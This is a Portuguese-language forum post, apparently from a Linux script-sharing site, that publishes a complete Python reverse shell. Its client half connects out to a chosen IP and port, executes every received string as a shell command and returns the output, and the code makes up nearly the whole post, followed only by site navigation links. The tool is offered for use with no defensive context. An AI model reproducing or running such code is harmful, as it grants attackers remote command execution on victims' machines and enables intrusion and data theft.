Shell Reverso em Python
Publicado por henrique (última atualização em 04/11/2020)
[ Hits: 4.581 ]
Homepage: naotem.com
Shell reverso básico em Python.
#!/usr/bin/env python3 import socket, os, subprocess, sys from time import sleep from concurrent.futures import ThreadPoolExecutor n_threads = 10 buffer = int(4096) try: if sys.argv[1] == '-h': print("""-l [ipv4] -p [port] -s = servidor -c = cliente -h = ajuda example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""") sys.exit() except: print("""-l [ipv4] -p [port] -s = servidor -c = cliente -h = ajuda example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""") sys.exit() if sys.argv[1] == '-l': host = str(sys.argv[2]) if sys.argv[3] == '-p': port = int(sys.argv[4]) a = input('cliente ou servidor: ') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) def send_commands(client_socket): print('qualquer comando depois siga') while True: cmd = input() if cmd == 'exit': client_socket.close() s.close() sys.exit() if len(str.encode(cmd)) > 0: client_socket.send(str.encode(cmd)) client_response = str(client_socket.recv(1024), "utf-8") print(client_response, end="") def server(): s.bind((host, port)) s.listen(5) print(f'listando {host}:{port} ...') client_socket, client_adress = s.accept() print(f'{client_adress[0]}:{client_adress[1]} Connectado!') message = 'hnx' client_socket.send(message.encode()) send_commands(client_socket) client_socket.close() def client(): s.connect((host, port)) message = s.recv(buffer).decode() print('servidor: ', message) while True: data = s.recv(buffer) if data[:2].decode("utf-8") == 'cd': os.chdir(data[3:].decode("utf-8")) if len(data) > 0: cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output_bytes = cmd.stdout.read() output_str = str(output_bytes, "utf-8") s.send(str.encode(output_str + str(os.getcwd()) + '#')) s.close() with ThreadPoolExecutor(max_workers=n_threads) as pool: pool.map(server) pool.map(client) if a in 'Ss': server() if a in 'Cc': client() if s.close() or sys.exit(): print('-' * 20, 'fim', '-' * 17)
Importar múltiplos hosts ZABBIX
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Efeito "livro" em arquivos PDF
Como resolver o erro no CUPS: Unable to get list of printer drivers
Flatpak: remover runtimes não usados e pacotes
Mudar o gerenciador de login (GDM para SDDM e vice-versa) - parte 2
Modernização e Avanço do Linux. (0)
Problema instalação do sige software gestão escolar script gratuito (4)
[Python] Automação de scan de vulnerabilidades
[Python] Script para analise de superficie de ataque
[Shell Script] Novo script para redimensionar, rotacionar, converter e espelhar arquivos de imagem
[Shell Script] Iniciador de DOOM (DSDA-DOOM, Doom Retro ou Woof!)
[Shell Script] Script para adicionar bordas às imagens de uma pasta